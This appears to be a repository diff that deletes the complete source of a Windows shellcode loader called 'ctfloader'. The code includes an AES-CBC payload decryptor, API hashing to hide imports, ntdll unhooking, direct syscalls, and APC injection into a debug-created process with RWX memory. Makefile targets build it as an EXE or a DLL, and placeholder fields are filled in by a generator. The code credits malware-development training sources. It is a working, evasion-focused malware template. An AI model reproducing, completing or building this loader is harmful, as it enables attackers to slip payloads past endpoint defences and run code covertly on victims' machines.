ctx->iv[3] = s3;
}
static void AES_Decrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) {
unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset;
unsigned int temp[4];
s0 = GETU32(in_data + 0) ^ ctx->roundkey[0];
s1 = GETU32(in_data + 4) ^ ctx->roundkey[1];
s2 = GETU32(in_data + 8) ^ ctx->roundkey[2];
s3 = GETU32(in_data + 12) ^ ctx->roundkey[3];
temp[0] = GETU32(in_data + 0);
temp[1] = GETU32(in_data + 4);
temp[2] = GETU32(in_data + 8);
temp[3] = GETU32(in_data + 12);
// round 1
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[ 4];
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[ 5];
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[ 6];
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[ 7];
// round 2
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[ 8];
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[ 9];
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[10];
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[11];
// round 3
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[12];
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[13];
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[14];
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[15];
// round 4
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[16];
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[17];
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[18];
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[19];
// round 5
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[20];
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[21];
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[22];
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[23];
// round 6
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[24];
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[25];
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[26];
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[27];
// round 7
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[28];
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[29];
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[30];
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[31];
// round 8
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[32];
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[33];
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[34];
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[35];
// round 9
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[36];
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[37];
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[38];
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[39];
// Final round 10
s0 = (Td4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40];
s1 = (Td4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41];
s2 = (Td4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42];
s3 = (Td4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43];
// Map the decrypted state to a byte array block
PUTU32(out_data + 0, s0 ^ ctx->iv[0]);
PUTU32(out_data + 4, s1 ^ ctx->iv[1]);
PUTU32(out_data + 8, s2 ^ ctx->iv[2]);
PUTU32(out_data + 12, s3 ^ ctx->iv[3]);
ctx->iv[0] = temp[0];
ctx->iv[1] = temp[1];
ctx->iv[2] = temp[2];
ctx->iv[3] = temp[3];
}
void AES_DecryptBuffer(AES_CTX* ctx, const unsigned char* in_data, unsigned char* out_data, size_t length) {
// Ensure the input length is a multiple of AES_BLOCK_SIZE
if (length % AES_BLOCK_SIZE != 0) {
printf("[-] Error: Input length must be a multiple of %d\n", AES_BLOCK_SIZE);
return;
}
// Process each block
for (size_t i = 0; i < length; i += AES_BLOCK_SIZE) {
AES_Decrypt(ctx, in_data + i, out_data + i);
}
}
#endif
-85
View File
@@ -1,85 +0,0 @@
###############################################################################
# Makefile for Clang (MinGW) on Windows
# DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING
###############################################################################
# If on Windows/MSYS2, you might have "x86_64-w64-mingw32-clang"
CLANG := C:\msys64\mingw64\bin\clang
# Build format selector
# EXE is the default so existing scripts continue to work unchanged.
# -----------------------------------------------------------------------------
FORMAT ?= EXE # { EXE | DLL }
# -----------------------------------------------------------------------------
# 3. Source files
# -----------------------------------------------------------------------------
COMMON_SRCS := \
api_hashing.c \
inject.c \
unhook.c \
whispers.c
ifeq ($(FORMAT),DLL)
MAIN_SRC := main_dll.c
TARGET := ctfloader.dll
else
MAIN_SRC := main.c
TARGET := ctfloader.exe
endif
C_SRCS := $(COMMON_SRCS) $(MAIN_SRC)
C_OBJS := $(C_SRCS:.c=.o)
# -----------------------------------------------------------------------------
# 4. Assembly helper (Whispers)
# -----------------------------------------------------------------------------
ASM_SRC := whispers-asm.x64.asm
ASM_OBJ := whispers-asm.o
ASFLAGS := -f win64
# -----------------------------------------------------------------------------
# 5. Flags
# -----------------------------------------------------------------------------
CFLAGS_BASE := -O2 -Wall -w -static
LDFLAGS := -Wl,--disable-auto-import -s
LIBS := -lwinhttp -lntdll
# DLL nuances: strip -static and add /shared linker options
ifeq ($(FORMAT),DLL)
CFLAGS := $(filter-out -static,$(CFLAGS_BASE)) -DCTF_AS_DLL
LDFLAGS += -shared -Wl,--out-implib,libctfloader.a
else
CFLAGS := $(CFLAGS_BASE)
endif
# -----------------------------------------------------------------------------
# 6. Phony targets
# -----------------------------------------------------------------------------
.PHONY: all exe dll clean
all: $(TARGET)
exe:
$(MAKE) FORMAT=EXE
dll:
$(MAKE) FORMAT=DLL
# -----------------------------------------------------------------------------
# 7. Linking & compilation rules
# -----------------------------------------------------------------------------
$(TARGET): $(C_OBJS) $(ASM_OBJ)
$(CLANG) $(CFLAGS) -o $@ $^ $(LDFLAGS) $(LIBS)
%.o: %.c
$(CLANG) $(CFLAGS) -c $< -o $@
$(ASM_OBJ): $(ASM_SRC)
nasm $(ASFLAGS) $< -o $@
# -----------------------------------------------------------------------------
# 8. Housekeeping
# -----------------------------------------------------------------------------
clean:
rm -f *.o *.obj $(TARGET) libctfloader.a
-104
View File
@@ -1,104 +0,0 @@
/*
Authors: - @ MaldevAcademy - https://maldevacademy.com
- @ VX-Underground - https://vx-underground.org
*/
#include <Windows.h>
#include <stdio.h>
#include "structs.h"
#include "functions.h"
DWORD HashStringDjb2A(PCHAR String)
{
ULONG Hash = INITIAL_HASH;
INT c;
while (c = *String++)
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
return Hash;
}
FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {
if (hModule == NULL || dwApiNameHash == NULL)
return NULL;
PBYTE pBase = (PBYTE)hModule;
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
// Hashing every function name pFunctionName
// If both hashes are equal then we found the function we want
if (dwApiNameHash == HASHA(pFunctionName)) {
return pFunctionAddress;
}
}
return NULL;
}
HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {
if (dwModuleNameHash == NULL)
return NULL;
#ifdef _WIN64
PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);
while (pDte) {
if (pDte->FullDllName.Length != NULL && pDte->FullDllName.Length < MAX_PATH) {
// converting `FullDllName.Buffer` to upper case string
CHAR UpperCaseDllName[MAX_PATH];
DWORD i = 0;
while (pDte->FullDllName.Buffer[i]) {
UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName.Buffer[i]);
i++;
}
UpperCaseDllName[i] = '\0';
// hashing `UpperCaseDllName` and comparing the hash value to that's of the input `dwModuleNameHash`
if (HASHA(UpperCaseDllName) == dwModuleNameHash)
return pDte->Reserved2[0];
}
else {
break;
}
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}
return NULL;
}
-19
View File
@@ -1,19 +0,0 @@
#pragma once
#include <stdint.h>
// API Hashing Part
#define HASHA(API) (HashStringDjb2A((PCHAR) API))
#define INITIAL_HASH #-INITIAL_HASH_VALUE-#
#define INITIAL_SEED #-INITIAL_SEED_VALUE-#
BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload);
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread);
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress);
HMODULE GetModuleHandleH(DWORD dwModuleNameHash);
FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash);
BOOL Unhook(LPVOID module);
LPVOID MapNtdll();
typedef BOOL (WINAPI* cCPA)(LPCSTR lpApplicationName,LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags, LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation);
typedef BOOL (WINAPI* cDAPS)(DWORD dwProcessId);
-97
View File
@@ -1,97 +0,0 @@
/*
Author: @ MaldevAcademy - https://maldevacademy.com
*/
#include <windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
#include "functions.h"
#include "whispers.h"
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
CHAR lpPath[MAX_PATH * 2];
CHAR WnDr[MAX_PATH];
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
Si.cb = sizeof(STARTUPINFO);
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH))
return FALSE;
// Creating the target process path
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
// API Hashing
cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#);
Sleep(15000);
if(!cCPAu(
NULL,
lpPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS, // Instead of CREATE_SUSPENDED
NULL,
NULL,
&Si,
&Pi)) {
return FALSE;
}
// Filling up the OUTPUT parameter with CreateProcessA's output
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
Sleep(5000);
return TRUE;
}
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
SIZE_T sNumberOfBytesWritten = 0,
sSize = sSizeOfShellcode;
ULONG uOldProtection = 0;
NTSTATUS STATUS = 0x00;
if ((STATUS = NTAVM(hProcess, ppAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
//printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
////printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);
if ((STATUS = NTWVM(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sSizeOfShellcode) {
//printf("[!] NtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
//printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
Sleep(2500);
if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
//printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
//printf("[+] Successfully changed memory region permission to RWX!\n");
return TRUE;
}
-101
View File
@@ -1,101 +0,0 @@
#include <stdio.h>
#include <Windows.h>
#include "whispers.h"
#include "functions.h"
#include "AES_128_CBC.h"
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
uint8_t aes_k[16] = { #-KEY_VALUE-# };
uint8_t aes_i[16] = { #-IV_VALUE-# };
unsigned char payload[] = {
#-PAYLOAD_VALUE-#
};
int main() {
SIZE_T sEncPayload = sizeof(payload);
PVOID pClearText = NULL,
pProcess = NULL;
DWORD dwSizeOfClearText = 0,
dwOldProtect = 0,
dwProcessId = 0;
AES_CTX ctx;
HANDLE hThread = NULL,
hProcess = NULL;
NTSTATUS STATUS = 0x00;
//printf("[+] Un-hooking Ntdll \n");
LPVOID nt = MapNtdll();
if (!nt)
return -1;
if (!Unhook(nt))
return -1;
Sleep(500);
//printf("[+] PID: %d\n", GetCurrentProcessId());
//printf("[+] Got the content at position: 0x%p with size of %zu\n", &payload, sEncPayload);
// Decryption routine
//printf("[i] Starting the decryption...\n");
Sleep(500);
// Allocating memory to store the decrypted payload inside of pClearText
pClearText = (PBYTE)malloc(sEncPayload);
AES_DecryptInit(&ctx, aes_k, aes_i);
AES_DecryptBuffer(&ctx, &payload, pClearText, sEncPayload);
//printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
Sleep(1500);
//printf("[i] Creating suspended process..\n");
// Creating a suspeneded process now
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
//printf("[-] Failed to create suspended process!\n");
return -1;
}
//printf("[+] Process created with PID: %d\n", dwProcessId);
Sleep(2500);
//printf("[i] Injecting the shellcode into the process..\n");
// Doing the APC Injection
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
return -1;
}
Sleep(1500);
//printf("[i] Running the shellcode via NtQueueApcThread..\n");
// Running the thread via QueueAPCThread
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
//printf("[-] NtQueueApcThrad failed!\n");
return -1;
}
// API Hashing
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
//printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
Sleep(1000);
// Stopping the debugging of the process, which launches the payload
cDAPSu(dwProcessId);
//printf("[+] Payload executed!\n");
CloseHandle(hThread);
CloseHandle(hProcess);
free(pClearText);
return 0;
}
-117
View File
@@ -1,117 +0,0 @@
#include <stdio.h>
#include <windows.h>
#include "whispers.h"
#include "functions.h"
#include "AES_128_CBC.h"
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
uint8_t aes_k[16] = { #-KEY_VALUE-# };
uint8_t aes_i[16] = { #-IV_VALUE-# };
unsigned char payload[] = {
#-PAYLOAD_VALUE-#
};
extern __declspec(dllexport) int ctf()
{
SIZE_T sEncPayload = sizeof(payload);
PVOID pClearText = NULL,
pProcess = NULL;
DWORD dwSizeOfClearText = 0,
dwOldProtect = 0,
dwProcessId = 0;
AES_CTX ctx;
HANDLE hThread = NULL,
hProcess = NULL;
NTSTATUS STATUS = 0x00;
//printf("[+] Un-hooking Ntdll \n");
LPVOID nt = MapNtdll();
if (!nt)
return -1;
if (!Unhook(nt))
return -1;
Sleep(500);
//printf("[+] PID: %d\n", GetCurrentProcessId());
//printf("[+] Got the content at position: 0x%p with size of %zu\n", &payload, sEncPayload);
// Decryption routine
//printf("[i] Starting the decryption...\n");
Sleep(500);
// Allocating memory to store the decrypted payload inside of pClearText
pClearText = (PBYTE)malloc(sEncPayload);
AES_DecryptInit(&ctx, aes_k, aes_i);
AES_DecryptBuffer(&ctx, &payload, pClearText, sEncPayload);
//printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
Sleep(1500);
//printf("[i] Creating suspended process..\n");
// Creating a suspeneded process now
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
//printf("[-] Failed to create suspended process!\n");
return -1;
}
//printf("[+] Process created with PID: %d\n", dwProcessId);
Sleep(2500);
//printf("[i] Injecting the shellcode into the process..\n");
// Doing the APC Injection
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
return -1;
}
Sleep(1500);
//printf("[i] Running the shellcode via NtQueueApcThread..\n");
// Running the thread via QueueAPCThread
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
//printf("[-] NtQueueApcThrad failed!\n");
return -1;
}
// API Hashing
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
//printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
Sleep(1000);
// Stopping the debugging of the process, which launches the payload
cDAPSu(dwProcessId);
//printf("[+] Payload executed!\n");
CloseHandle(hThread);
CloseHandle(hProcess);
free(pClearText);
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
-282
View File
@@ -1,282 +0,0 @@
#pragma once
#include <windows.h>
#include "whispers.h"
typedef PVOID PACTIVATION_CONTEXT;
typedef PVOID PRTL_USER_PROCESS_PARAMETERS;
typedef PVOID PAPI_SET_NAMESPACE;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN IsLongPathAwareProcess : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PSLIST_HEADER AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ProcessPreviouslyThrottled : 1;
ULONG ProcessCurrentlyThrottled : 1;
ULONG ProcessImagesHotPatched : 1; // REDSTONE5
ULONG ReservedBits0 : 24;
};
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
PAPI_SET_NAMESPACE ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID SharedData; // HotpatchInformation
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData; // PCPTABLEINFO
PVOID OemCodePageData; // PCPTABLEINFO
PVOID UnicodeCaseTableData; // PNLSTABLEINFO
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
ULARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID* ProcessHeaps; // PHEAP
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
ULONG GdiDCAttributeList;
PRTL_CRITICAL_SECTION LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
USHORT OSBuildNumber;
USHORT OSCSDVersion;
ULONG OSPlatformId;
ULONG ImageSubsystem;
ULONG ImageSubsystemMajorVersion;
ULONG ImageSubsystemMinorVersion;
KAFFINITY ActiveProcessAffinityMask;
ULONG GdiHandleBuffer[60];
PVOID PostProcessInitRoutine;
PVOID TlsExpansionBitmap;
ULONG TlsExpansionBitmapBits[32];
ULONG SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
PVOID pShimData;
PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA
UNICODE_STRING CSDVersion;
PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA
PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA
PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
SIZE_T MinimumStackCommit;
PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex)
PVOID PatchLoaderData;
PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFO
ULONG AppModelFeatureState;
ULONG SpareUlongs[2];
USHORT ActiveCodePage;
USHORT OemCodePage;
USHORT UseCaseMapping;
USHORT UnusedNlsField;
PVOID WerRegistrationData;
PVOID WerShipAssertPtr;
union
{
PVOID pContextData; // WIN7
PVOID pUnused; // WIN10
PVOID EcCodeBitMap; // WIN11
};
PVOID pImageHeaderHash;
union
{
ULONG TracingFlags;
struct
{
ULONG HeapTracingEnabled : 1;
ULONG CritSecTracingEnabled : 1;
ULONG LibLoaderTracingEnabled : 1;
ULONG SpareTracingBits : 29;
};
};
ULONGLONG CsrServerReadOnlySharedMemoryBase;
PRTL_CRITICAL_SECTION TppWorkerpListLock;
LIST_ENTRY TppWorkerpList;
PVOID WaitOnAddressHashTable[128];
PVOID TelemetryCoverageHeader; // REDSTONE3
ULONG CloudFileFlags;
ULONG CloudFileDiagFlags; // REDSTONE4
CHAR PlaceholderCompatibilityMode;
CHAR PlaceholderCompatibilityModeReserved[7];
struct _LEAP_SECOND_DATA* LeapSecondData; // REDSTONE5
union
{
ULONG LeapSecondFlags;
struct
{
ULONG SixtySecondEnabled : 1;
ULONG Reserved : 31;
};
};
ULONG NtGlobalFlag2;
ULONGLONG ExtendedFeatureDisableMask; // since WIN11
} PEB, * PPEB;
